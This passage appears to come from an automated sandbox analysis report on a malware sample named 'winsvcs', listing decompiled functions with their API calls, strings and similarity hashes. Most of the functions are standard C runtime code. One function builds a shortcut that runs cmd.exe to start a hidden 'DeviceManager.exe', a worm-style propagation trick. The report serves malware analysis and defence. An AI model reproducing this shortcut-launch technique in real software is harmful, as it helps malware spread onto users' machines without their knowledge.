				if(_a28 != 0) {
					_push(_a28);
					_push(_a24);
					_push(_t29);
					_t5 =  &_a4; // 0x39777c
					_push( *_t5);
					E00397946(__ebx, _t29, __esi, _t35);
					_t33 = _t33 + 0x10;
				}
				_t36 = _a40;
				_t7 =  &_a4; // 0x39777c
				_push( *_t7);
				if(_a40 != 0) {
					_push(_a40);
				} else {
					_push(_t29);
				}
				E00394ECC(_t28);
				_push(_t30);
				_t31 = _a32;
				_push( *_t31);
				_push(_a20);
				_push(_a16);
				_push(_t29);
				E00397BE4(_t27, _t31, _t36);
				_push(0x100);
				_push(_a36);
				 *((intOrPtr*)(_t29 + 8)) =  *((intOrPtr*)(_t31 + 4)) + 1;
				_push( *((intOrPtr*)(_a24 + 0xc)));
				_push(_a20);
				_push(_a12);
				_push(_t29);
				_push(_a4);
				_t25 = E00397112(_t27, _t29, _t31, _t36);
				if(_t25 != 0) {
					E00394E9A(_t25, _t29);
					return _t25;
				}
				return _t25;
			}

0x00397318
0x00397318
0x0039731b
0x00397320
0x00397323
0x00397325
0x00397328
0x0039732b
0x0039732c
0x0039732c
0x0039732f
0x00397334
0x00397334
0x00397337
0x0039733b
0x0039733b
0x0039733e
0x00397343
0x00397340
0x00397340
0x00397340
0x00397346
0x0039734b
0x0039734c
0x0039734f
0x00397351
0x00397354
0x00397357
0x00397358
0x00397361
0x00397366
0x00397369
0x0039736f
0x00397372
0x00397375
0x00397378
0x00397379
0x0039737c
0x00397387
0x0039738b
0x00000000
0x0039738b
0x00397392

APIs

___BuildCatchObject.LIBCMT ref: 0039732F

Part of subcall function 00397946: ___AdjustPointer.LIBCMT ref: 0039798F
Part of subcall function 00397946: ___AdjustPointer.LIBCMT ref: 003979A9

_UnwindNestedFrames.LIBCMT ref: 00397346
___FrameUnwindToState.LIBCMT ref: 00397358
CallCatchBlock.LIBCMT ref: 0039737C

Part of subcall function 00397112: __CreateFrameInfo.LIBCMT ref: 0039713C
Part of subcall function 00397112: _CallCatchBlock2.LIBCMT ref: 00397194

Strings

|w9, xrefs: 0039733B, 0039732C

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: Catch$AdjustCallFramePointerUnwind$BlockBlock2BuildCreateFramesInfoNestedObjectState
String ID: |w9
API String ID: 2785082700-2647731999
Opcode ID: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction ID: 7ab9c27d6fe965062c4d6657c8e2ea697d95ca6933ee83921183339af1bf2b43
Opcode Fuzzy Hash: 02302ff8862e25695c2afa1ca1c691966ce33dc0e8fa260f084d156cb496b043
Instruction Fuzzy Hash: 99011332414109FBCF12AF55CC41EDA3BAAFF48754F058114FD586A161D336E861EBA0

Uniqueness

Uniqueness Score: 100.00%

Function 00403669, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 92
comUNIQUE

C-Code - Quality: 73%

			E00403669(intOrPtr __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				intOrPtr _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				char* _t56;

				__imp__CoInitialize(0);
				_v12 = __eax;
				if(_v12 == 0 || _v12 == 1) {
					_t56 =  &_v16;
					__imp__CoCreateInstance(0x40723c, 0, 1, 0x40722c, _t56);
					_v8 = _t56;
					if(_v8 >= 0) {
						 *((intOrPtr*)( *_v16 + 0x50))(_v16, L"%windir%\\system32\\cmd.exe");
						 *((intOrPtr*)( *_v16 + 0x48))(_v16, _a4, 0);
						 *((intOrPtr*)( *_v16 + 0x24))(_v16, _a8);
						 *((intOrPtr*)( *_v16 + 0x1c))(_v16, _a12);
						 *((intOrPtr*)( *_v16 + 0x34))(_v16, _a24);
						 *((intOrPtr*)( *_v16 + 0x44))(_v16, _a16, _a20);
						 *((intOrPtr*)( *_v16 + 0x3c))(_v16, 7);
						 *((intOrPtr*)( *_v16 + 0x2c))(_v16, L"/c start _ & _\\DeviceManager.exe & exit");
						_v8 =  *((intOrPtr*)( *_v16))(_v16, 0x40724c,  &_v20);
						if(_v8 >= 0) {
							_v8 =  *((intOrPtr*)( *_v20 + 0x18))(_v20, _a4, 1);
							 *((intOrPtr*)( *_v20 + 8))(_v20);
						}
						 *((intOrPtr*)( *_v16 + 8))(_v16);
					}
					return _v8;
				} else {
					return _v12;
				}
			}

APIs

CoInitialize.OLE32(00000000), ref: 00403671
CoCreateInstance.OLE32(0040723C,00000000,00000001,0040722C,?), ref: 004036A0

Strings

/c start _ & _\DeviceManager.exe & exit, xrefs: 0040371B
%windir%\system32\cmd.exe, xrefs: 004036B3

Memory Dump Source

Source File: 00000002.00000002.627197202.00400000.00000040.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_winsvcs.jbxd

Similarity

API ID: CreateInitializeInstance
String ID: %windir%\system32\cmd.exe$/c start _ & _\DeviceManager.exe & exit
API String ID: 3519745914-2217386832
Opcode ID: b90e5f5b8edce457020b71cdcedb84cad2d9a656d92e5b9accd175b782e8ef0b
Instruction ID: ab0d772bd2024923be40f94e1bd6ade439e0df5cc8d211e2d4934d0d5f14497f
Opcode Fuzzy Hash: b90e5f5b8edce457020b71cdcedb84cad2d9a656d92e5b9accd175b782e8ef0b
Instruction Fuzzy Hash: 87414B74A00208FFCB01DF98D989E9DBBB5FF09305F1081A6F911AB2A1C775AA50DF55

Uniqueness

Uniqueness Score: 100.00%

Function 0039BD45, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
UNIQUE

C-Code - Quality: 100%

			E0039BD45() {
				intOrPtr _t3;
				intOrPtr _t4;
				void* _t6;
				intOrPtr _t9;
				void* _t12;
				intOrPtr _t13;

				_t3 =  *0x421024;
				_t13 = 0x14;
				if(_t3 != 0) {
					if(_t3 < _t13) {
						_t3 = _t13;
						goto L4;
					}
				} else {
					_t3 = 0x200;
					L4:
					 *0x421024 = _t3;
				}
				_t4 = E00395EF6(_t3, 4);
				 *0x421020 = _t4;
				if(_t4 != 0) {
					L8:
					_t12 = 0;
					_t9 = 0x41ea68;
					while(1) {
						 *((intOrPtr*)(_t12 + _t4)) = _t9;
						_t9 = _t9 + 0x20;
						_t12 = _t12 + 4;
						if(_t9 >= 0x41ece8) {
							break;
						}
						_t4 =  *0x421020;
					}
					return 0;
				} else {
					 *0x421024 = _t13;
					_t4 = E00395EF6(_t13, 4);
					 *0x421020 = _t4;
					if(_t4 != 0) {
						goto L8;
					} else {
						_t6 = 0x1a;
						return _t6;
					}
				}
			}

0x0039bd45
0x0039bd4d
0x0039bd50
0x0039bd5b
0x0039bd5d
0x00000000
0x0039bd5d
0x0039bd52
0x0039bd52
0x0039bd5f
0x0039bd5f
0x0039bd5f
0x0039bd67
0x0039bd6c
0x0039bd75
0x0039bd95
0x0039bd95
0x0039bd97
0x0039bd9c
0x0039bd9c
0x0039bd9f
0x0039bda2
0x0039bdab
0x00000000
0x00000000
0x0039bdad
0x0039bdad
0x0039bdb7
0x0039bd77
0x0039bd7a
0x0039bd80
0x0039bd85
0x0039bd8e
0x00000000
0x0039bd90
0x0039bd92
0x0039bd94
0x0039bd94
0x0039bd8e

APIs

__calloc_crt.LIBCMT ref: 0039BD67

Part of subcall function 00395EF6: __calloc_impl.LIBCMT ref: 00395F05

__calloc_crt.LIBCMT ref: 0039BD80

Strings

A, xrefs: 0039BDA5
hA, xrefs: 0039BD97

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: __calloc_crt$__calloc_impl
String ID: hA$A
API String ID: 4112851154-2225524807
Opcode ID: c0f8e90d6e73cb7f7ff68fc21c5e1f57ac7b6d75a954185d587990bb4bf36e5b
Instruction ID: d3831bcb262ba93aa8db4c310a90d483e9c1f5ac1ae479c888c2515ebb7d3750
Opcode Fuzzy Hash: c0f8e90d6e73cb7f7ff68fc21c5e1f57ac7b6d75a954185d587990bb4bf36e5b
Instruction Fuzzy Hash: 38F0A471B05751CAFF26DF19BE01BD1A794E718760F54003BE600CE9A8EB7488C28748

Uniqueness

Uniqueness Score: 100.00%

Function 0039CFA6, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20
UNIQUE

C-Code - Quality: 75%

			E0039CFA6(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags) {
				void* _t4;
				void* _t16;

				_push(8);
				_push(0x416e20);
				_t4 = E00395FD0(__ebx, __edi, __esi);
				if( *0x41e994 != 0x41e998) {
					E00399FEF(__ecx, 0xc);
					 *(_t16 - 4) =  *(_t16 - 4) & 0x00000000;
					 *0x41e994 = E0039B316("d@@", 0x41e998);
					 *(_t16 - 4) = 0xfffffffe;
					_t4 = E0039CFEF();
				}
				return E00396015(_t4);
			}

0x0039cfa6
0x0039cfa8
0x0039cfad
0x0039cfbd
0x0039cfc1
0x0039cfc7
0x0039cfd8
0x0039cfdd
0x0039cfe4
0x0039cfe4
0x0039cfee

APIs

__lock.LIBCMT ref: 0039CFC1

Part of subcall function 00399FEF: __mtinitlocknum.LIBCMT ref: 0039A001

__updatetlocinfoEx_nolock.LIBCMT ref: 0039CFD1

Part of subcall function 0039B316: ___addlocaleref.LIBCMT ref: 0039B332
Part of subcall function 0039B316: ___removelocaleref.LIBCMT ref: 0039B33D
Part of subcall function 0039B316: ___freetlocinfo.LIBCMT ref: 0039B351

Strings

d@@, xrefs: 0039CFB7, 0039CFCC, 0039CFD8
lrA, xrefs: 0039CFB2, 0039CFCB

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: Ex_nolock___addlocaleref___freetlocinfo___removelocaleref__lock__mtinitlocknum__updatetlocinfo
String ID: d@@$lrA
API String ID: 3369060592-3346105842
Opcode ID: 3461cf19bc2504e86dfac305254e11822fa0c3d73ac9705f9a2fb1012cd577cb
Instruction ID: d0bcbce654927284cad0e3b72d1880c042b21d2c3ede4a3ec66d5c0f79019be6
Opcode Fuzzy Hash: 3461cf19bc2504e86dfac305254e11822fa0c3d73ac9705f9a2fb1012cd577cb
Instruction Fuzzy Hash: F0E0867A8563009AEA63A7A19983B9D6E515B00721F60615AF5059E1C1CB740580865A

Uniqueness

Uniqueness Score: 100.00%

Function 0039C2DC, Relevance: 6.2, APIs: 4, Instructions: 204
UNIQUE

C-Code - Quality: 52%

			E0039C2DC(void* __ecx, signed int __edx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, char* _a16, signed int _a20, intOrPtr _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t61;
				signed int _t63;
				signed int _t67;
				signed int _t71;
				void* _t74;
				signed int _t78;
				void* _t82;
				intOrPtr _t87;
				char* _t88;
				signed int _t91;
				void* _t92;
				signed int _t93;
				void* _t94;
				intOrPtr _t96;
				signed int _t97;
				void* _t102;
				signed int _t104;
				signed int _t107;
				signed int _t108;
				signed int _t112;
				void* _t113;
				signed int _t115;
				void* _t116;
				signed int _t118;
				signed int _t119;
				signed int _t120;
				signed int _t121;
				signed int _t123;
				void* _t130;

				_t108 = __edx;
				_push(__ecx);
				_push(__ecx);
				_v8 =  *0x41de90 ^ _t120;
				_push(_t92);
				_t115 = _a20;
				if(_t115 <= 0) {
					L7:
					_t96 = _a32;
					_t112 = 0;
					if(_t96 == 0) {
						_t87 =  *((intOrPtr*)( *_a4 + 4));
						_t96 = _t87;
						_a32 = _t87;
					}
					_t97 =  *0x4110ac(_t96, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t115, 0, 0);
					_v12 = _t97;
					if(_t97 != 0) {
						if(__eflags <= 0) {
							L22:
							_t93 = 0;
							__eflags = 0;
							L23:
							__eflags = _t93;
							if(_t93 == 0) {
								goto L10;
							}
							_t63 =  *0x4110ac(_a32, 1, _a16, _t115, _t93, _t97);
							__eflags = _t63;
							if(_t63 == 0) {
								L47:
								E00399E17(_t93);
								_t61 = _t112;
								goto L48;
							}
							_t117 = _v12;
							_t112 = E00399EAD(_a8, _a12, _t93, _v12, 0, 0);
							_t123 = _t121 + 0x18;
							__eflags = _t112;
							if(_t112 == 0) {
								goto L47;
							}
							__eflags = _a12 & 0x00000400;
							if((_a12 & 0x00000400) == 0) {
								__eflags = _t112;
								if(_t112 <= 0) {
									L39:
									_t118 = 0;
									__eflags = 0;
									L40:
									__eflags = _t118;
									if(_t118 != 0) {
										_t67 = E00399EAD(_a8, _a12, _t93, _v12, _t118, _t112);
										__eflags = _t67;
										if(_t67 != 0) {
											_push(0);
											_push(0);
											__eflags = _a28;
											if(_a28 != 0) {
												_push(_a28);
												_push(_a24);
											} else {
												_push(0);
												_push(0);
											}
											_t112 =  *0x4110b0(_a32, 0, _t118, _t112);
										}
										E00399E17(_t118);
									}
									goto L47;
								}
								_t71 = 0xffffffe0;
								_t108 = _t71 % _t112;
								__eflags = _t71 / _t112 - 2;
								if(_t71 / _t112 < 2) {
									goto L39;
								}
								_t102 = _t112 + _t112;
								__eflags = _t102 + 8 - _t102;
								if(_t102 + 8 <= _t102) {
									goto L39;
								}
								_t74 = 8 + _t112 * 2;
								__eflags = _t74 - 0x400;
								if(_t74 > 0x400) {
									_t119 = E00395AC7(_t93, _t102, _t108, _t112, _t74);
									__eflags = _t119;
									if(_t119 == 0) {
										goto L47;
									}
									 *_t119 = 0xdddd;
									L38:
									_t118 = _t119 + 8;
									goto L40;
								}
								E0039C2B0(_t74);
								_t119 = _t123;
								__eflags = _t119;
								if(_t119 == 0) {
									goto L47;
								}
								 *_t119 = 0xcccc;
								goto L38;
							}
							_t104 = _a28;
							__eflags = _t104;
							if(_t104 != 0) {
								__eflags = _t112 - _t104;
								if(_t112 <= _t104) {
									E00399EAD(_a8, _a12, _t93, _t117, _a24, _t104);
								}
							}
							goto L47;
						}
						_t78 = 0xffffffe0;
						_t108 = _t78 % _t97;
						__eflags = _t78 / _t97 - 2;
						if(_t78 / _t97 < 2) {
							goto L22;
						}
						_t20 = _t97 + _t97 + 8; // 0x8
						__eflags = _t20 - _t97 + _t97;
						if(_t20 <= _t97 + _t97) {
							_t97 = _v12;
							goto L22;
						}
						_t82 = 8 + _v12 * 2;
						__eflags = _t82 - 0x400;
						if(_t82 > 0x400) {
							_t93 = E00395AC7(_t92, _t105, _t108, _t112, _t82);
							__eflags = _t93;
							if(_t93 == 0) {
								L20:
								_t97 = _v12;
								goto L23;
							}
							 *_t93 = 0xdddd;
							L19:
							_t93 = _t93 + 8;
							__eflags = _t93;
							goto L20;
						}
						E0039C2B0(_t82);
						_t93 = _t121;
						__eflags = _t93;
						if(_t93 == 0) {
							goto L20;
						} else {
							 *_t93 = 0xcccc;
							goto L19;
						}
					} else {
						L10:
						_t61 = 0;
						L48:
						_pop(_t113);
						_pop(_t116);
						_pop(_t94);
						return E00394B44(_t61, _t94, _v8 ^ _t120, _t108, _t113, _t116);
					}
				} else {
					_t88 = _a16;
					_t107 = _t115;
					while(1) {
						_t107 = _t107 - 1;
						if( *_t88 == 0) {
							break;
						}
						_t88 = _t88 + 1;
						if(_t107 != 0) {
							continue;
						} else {
							_t107 = _t107 | 0xffffffff;
							break;
						}
					}
					_t91 = _t115 - _t107 - 1;
					_t130 = _t91 - _t115;
					_t115 = _t91 + 1;
					if(_t130 >= 0) {
						_t115 = _t91;
					}
					goto L7;
				}
			}

0x0039c2dc
0x0039c2df
0x0039c2e0
0x0039c2e8
0x0039c2eb
0x0039c2ed
0x0039c2f3
0x0039c316
0x0039c316
0x0039c319
0x0039c31d
0x0039c324
0x0039c327
0x0039c329
0x0039c329
0x0039c34b
0x0039c34d
0x0039c352
0x0039c35b
0x0039c3b4
0x0039c3b4
0x0039c3b4
0x0039c3b6
0x0039c3b6
0x0039c3b8
0x00000000
0x00000000
0x0039c3c5
0x0039c3cb
0x0039c3cd
0x0039c4c3
0x0039c4c4
0x0039c4ca
0x00000000
0x0039c4ca
0x0039c3d3
0x0039c3e7
0x0039c3e9
0x0039c3ec
0x0039c3ee
0x00000000
0x00000000
0x0039c3f4
0x0039c3fb
0x0039c429
0x0039c42b
0x0039c47c
0x0039c47c
0x0039c47c
0x0039c47e
0x0039c47e
0x0039c480
0x0039c48f
0x0039c497
0x0039c499
0x0039c49d
0x0039c49e
0x0039c49f
0x0039c4a2
0x0039c4a8
0x0039c4ab
0x0039c4a4
0x0039c4a4
0x0039c4a5
0x0039c4a5
0x0039c4ba
0x0039c4ba
0x0039c4bd
0x0039c4c2
0x00000000
0x0039c480
0x0039c431
0x0039c432
0x0039c434
0x0039c437
0x00000000
0x00000000
0x0039c439
0x0039c43f
0x0039c441
0x00000000
0x00000000
0x0039c443
0x0039c44a
0x0039c44f
0x0039c46a
0x0039c46d
0x0039c46f
0x00000000
0x00000000
0x0039c471
0x0039c477
0x0039c477
0x00000000
0x0039c477
0x0039c451
0x0039c456
0x0039c458
0x0039c45a
0x00000000
0x00000000
0x0039c45c
0x00000000
0x0039c45c
0x0039c3fd
0x0039c400
0x0039c402
0x0039c408
0x0039c40a
0x0039c41c
0x0039c421
0x0039c40a
0x00000000
0x0039c402
0x0039c361
0x0039c362
0x0039c364
0x0039c367
0x00000000
0x00000000
0x0039c36b
0x0039c36e
0x0039c370
0x0039c3b1
0x00000000
0x0039c3b1
0x0039c375
0x0039c37c
0x0039c381
0x0039c39c
0x0039c39f
0x0039c3a1
0x0039c3ac
0x0039c3ac
0x00000000
0x0039c3ac
0x0039c3a3
0x0039c3a9
0x0039c3a9
0x0039c3a9
0x00000000
0x0039c3a9
0x0039c383
0x0039c388
0x0039c38a
0x0039c38c
0x00000000
0x0039c38e
0x0039c38e
0x00000000
0x0039c38e
0x0039c354
0x0039c354
0x0039c354
0x0039c4cc
0x0039c4cf
0x0039c4d0
0x0039c4d1
0x0039c4df
0x0039c4df
0x0039c2f5
0x0039c2f5
0x0039c2f8
0x0039c2fa
0x0039c2fa
0x0039c2fe
0x00000000
0x00000000
0x0039c300
0x0039c303
0x00000000
0x0039c305
0x0039c305
0x00000000
0x0039c305
0x0039c303
0x0039c30c
0x0039c30d
0x0039c30f
0x0039c312
0x0039c314
0x0039c314
0x00000000
0x0039c312

APIs

_malloc.LIBCMT ref: 0039C397
_malloc.LIBCMT ref: 0039C465

Part of subcall function 00395AC7: __FF_MSGBANNER.LIBCMT ref: 00395ADE
Part of subcall function 00395AC7: __NMSG_WRITE.LIBCMT ref: 00395AE5

__freea.LIBCMT ref: 0039C4BD
__freea.LIBCMT ref: 0039C4C4

Part of subcall function 00399E17: _free.LIBCMT ref: 00399E2D

Part of subcall function 00394B44: ___raise_securityfailure.LIBCMT ref: 00396C55

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: __freea_malloc$___raise_securityfailure_free
String ID:
API String ID: 3447648340-0
Opcode ID: f3a914ad418ce209bc95ce2747373a492570584f1d9a42af49d0a94a7acdc751
Instruction ID: 12027a033b9c8326b84d8aff37ac9af2d542d2620e04b766991b693db0a9441e
Opcode Fuzzy Hash: f3a914ad418ce209bc95ce2747373a492570584f1d9a42af49d0a94a7acdc751
Instruction Fuzzy Hash: A751E272A10206AFEF278F65DC91FBE3AA9EB48350F165529FD09DB250D735CC1087A0

Uniqueness

Uniqueness Score: 100.00%

Function 003979D4, Relevance: 6.2, APIs: 4, Instructions: 162
COMMON

C-Code - Quality: 40%

			E003979D4(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed char* _t41;
				intOrPtr _t42;
				intOrPtr* _t64;
				intOrPtr _t69;
				signed int _t70;
				signed char _t72;
				signed char _t73;
				signed char* _t95;
				signed char _t100;
				signed char** _t102;
				signed char* _t105;
				void* _t106;

				_push(0xc);
				_push(0x416ca0);
				E00395FD0(__ebx, __edi, __esi);
				_t69 = 0;
				_t41 =  *(_t106 + 0x10);
				_t72 = _t41[4];
				if(_t72 == 0 ||  *((intOrPtr*)(_t72 + 8)) == 0) {
					L34:
					_t42 = 0;
				} else {
					_t100 = _t41[8];
					if(_t100 != 0 || ( *_t41 & 0x80000000) != 0) {
						_t73 =  *_t41;
						_t102 =  *(_t106 + 0xc);
						if(_t73 >= 0) {
							_t102 =  &(_t102[3]) + _t100;
						}
						 *((intOrPtr*)(_t106 - 4)) = _t69;
						_t105 =  *(_t106 + 0x14);
						if(_t73 >= 0 || ( *_t105 & 0x00000010) == 0) {
							L14:
							_push(1);
							_push( *( *((intOrPtr*)(_t106 + 8)) + 0x18));
							if((_t73 & 0x00000008) == 0) {
								if(( *_t105 & 0x00000001) == 0) {
									if(_t105[0x18] != _t69) {
										if(E0039B4B6() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0039B4C5(_t102) == 0 || E0039B4A7(_t105[0x18]) == 0) {
												goto L32;
											} else {
												_t70 = 0;
												_t69 = (_t70 & 0xffffff00 | ( *_t105 & 0x00000004) != 0x00000000) + 1;
												 *((intOrPtr*)(_t106 - 0x1c)) = _t69;
											}
										}
									} else {
										if(E0039B4B6() == 0) {
											goto L32;
										} else {
											_push(1);
											if(E0039B4C5(_t102) == 0) {
												goto L32;
											} else {
												E00394500(_t102, E00397921( *( *((intOrPtr*)(_t106 + 8)) + 0x18),  &(_t105[8])), _t105[0x14]);
											}
										}
									}
								} else {
									if(E0039B4B6() == 0) {
										goto L32;
									} else {
										_push(1);
										if(E0039B4C5(_t102) == 0) {
											goto L32;
										} else {
											E00394500(_t102,  *( *((intOrPtr*)(_t106 + 8)) + 0x18), _t105[0x14]);
											if(_t105[0x14] == 4 &&  *_t102 != 0) {
												_push( &(_t105[8]));
												_push( *_t102);
												goto L13;
											}
										}
									}
								}
							} else {
								if(E0039B4B6() == 0) {
									goto L32;
								} else {
									_push(1);
									if(E0039B4C5(_t102) == 0) {
										goto L32;
									} else {
										_t95 =  *( *((intOrPtr*)(_t106 + 8)) + 0x18);
										goto L12;
									}
								}
							}
						} else {
							_t64 =  *0x41f5c4;
							if(_t64 == 0) {
								goto L14;
							} else {
								 *(_t106 + 0x10) =  *_t64();
								_push(1);
								if(E0039B4B6(_t65) == 0) {
									L32:
									E00396FAC();
								} else {
									_push(1);
									if(E0039B4C5(_t102) == 0) {
										goto L32;
									} else {
										_t95 =  *(_t106 + 0x10);
										L12:
										 *_t102 = _t95;
										_push( &(_t105[8]));
										_push(_t95);
										L13:
										 *_t102 = E00397921();
									}
								}
							}
						}
						 *((intOrPtr*)(_t106 - 4)) = 0xfffffffe;
						_t42 = _t69;
					} else {
						goto L34;
					}
				}
				return E00396015(_t42);
			}

0x003979d4
0x003979d6
0x003979db
0x003979e0
0x003979e2
0x003979e5
0x003979ea
0x00397b8e
0x00397b8e
0x003979f9
0x003979f9
0x003979fe
0x00397a0c
0x00397a0e
0x00397a13
0x00397a18
0x00397a18
0x00397a1a
0x00397a1d
0x00397a22
0x00397a73
0x00397a73
0x00397a78
0x00397a7e
0x00397aac
0x00397b02
0x00397b46
0x00000000
0x00397b48
0x00397b48
0x00397b54
0x00000000
0x00397b63
0x00397b68
0x00397b6c
0x00397b6d
0x00397b6d
0x00397b54
0x00397b04
0x00397b0d
0x00000000
0x00397b0f
0x00397b0f
0x00397b1b
0x00000000
0x00397b1d
0x00397b33
0x00397b38
0x00397b1b
0x00397b0d
0x00397aae
0x00397ab7
0x00000000
0x00397abd
0x00397abd
0x00397ac9
0x00000000
0x00397acf
0x00397ad9
0x00397ae5
0x00397af7
0x00397af8
0x00000000
0x00397af8
0x00397ae5
0x00397ac9
0x00397ab7
0x00397a80
0x00397a89
0x00000000
0x00397a8f
0x00397a8f
0x00397a9b
0x00000000
0x00397aa1
0x00397aa4
0x00000000
0x00397aa4
0x00397a9b
0x00397a89
0x00397a29
0x00397a29
0x00397a30
0x00000000
0x00397a32
0x00397a34
0x00397a37
0x00397a43
0x00397b72
0x00397b72
0x00397a49
0x00397a49
0x00397a55
0x00000000
0x00397a5b
0x00397a5b
0x00397a5e
0x00397a5e
0x00397a63
0x00397a64
0x00397a65
0x00397a6c
0x00397a6c
0x00397a55
0x00397a43
0x00397a30
0x00397b77
0x00397b7e
0x00000000
0x00000000
0x00000000
0x003979fe
0x00397b95

APIs

___AdjustPointer.LIBCMT ref: 00397A65
_memmove.LIBCMT ref: 00397AD9
___AdjustPointer.LIBCMT ref: 00397B2A
_memmove.LIBCMT ref: 00397B33

Memory Dump Source

Source File: 00000002.00000001.523172639.00391000.00000020.sdmp, Offset: 00390000, based on PE: true

Associated: 00000002.00000001.523165875.00390000.00000002.sdmp
Associated: 00000002.00000001.523193060.003A1000.00000002.sdmp
Associated: 00000002.00000001.523202631.003A8000.00000008.sdmp
Associated: 00000002.00000001.523212547.003B3000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_390000_winsvcs.jbxd

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: 3bf564383e6e42c2dceaa9a389dd87c07cfb139b13d8134a30e58f2216cc4623
Instruction ID: 84737f8e7f26f426054988e6bef28add65e7289c5c7231b37a9e0fc1da66061f
Opcode Fuzzy Hash: 3bf564383e6e42c2dceaa9a389dd87c07cfb139b13d8134a30e58f2216cc4623
Instruction Fuzzy Hash: 524191362187039AEF2B9E29E882BEE77E59F41720F25401DF8458A6D2EB71D981D610

Uniqueness

Uniqueness Score: 12.89%

Function 004139C0, Relevance: 6.0, APIs: 4, Instructions: 49COMMON

APIs

__cftof_l.LIBCMT ref: 004139E6

Part of subcall function 0041380B: __fltout2.LIBCMT ref: 00413837
Part of subcall function 0041380B: __fptostr.LIBCMT ref: 00413892
Part of subcall function 0041380B: __cftof2_l.LIBCMT ref: 004138AF

__cftog_l.LIBCMT ref: 00413A0C

Part of subcall function 004138C6: __fltout2.LIBCMT ref: 004138F2
Part of subcall function 004138C6: __fptostr.LIBCMT ref: 00413949
Part of subcall function 004138C6: __cftof2_l.LIBCMT ref: 0041398B
Part of subcall function 004138C6: __cftoe2_l.LIBCMT ref: 004139A9

__cftoa_l.LIBCMT ref: 00413A25

Part of subcall function 004133A1: __cftoe.LIBCMT ref: 00413460
Part of subcall function 004133A1: _strrchr.LIBCMT ref: 004134A5
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 0041369A
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136C0
Part of subcall function 004133A1: __alldvrm.LIBCMT ref: 004136E6

__cftoe_l.LIBCMT ref: 00413A3E

Part of subcall function 004132B1: __fltout2.LIBCMT ref: 004132DD
Part of subcall function 004132B1: __fptostr.LIBCMT ref: 00413349
Part of subcall function 004132B1: __cftoe2_l.LIBCMT ref: 0041336A

Memory Dump Source

Source File: 00000002.00000001.323323334.0040D000.00000020.sdmp, Offset: 0040D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_1_40d000_winsvcs.jbxd

Similarity

API ID: __alldvrm__fltout2__fptostr$__cftoe2_l__cftof2_l$__cftoa_l__cftoe__cftoe_l__cftof_l__cftog_l_strrchr
String ID:
API String ID: 2916730570-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 8546ce1d98dbb9bc63335d1028909b0dafdd7bac1f0b556e445c1aad64e8933c
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: F811923240004EBBCF125F85DC01CEE3F66BF18395B588416FE5859131D73ACAB2AB89

Uniqueness

Uniqueness Score: 3.53%

Function 00397FB6, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

C-Code - Quality: 100%

			E00397FB6(void* __edx, void* __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E00398507(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0039803C(_a4, _a8, _a12, _a20, _a24, _a28);
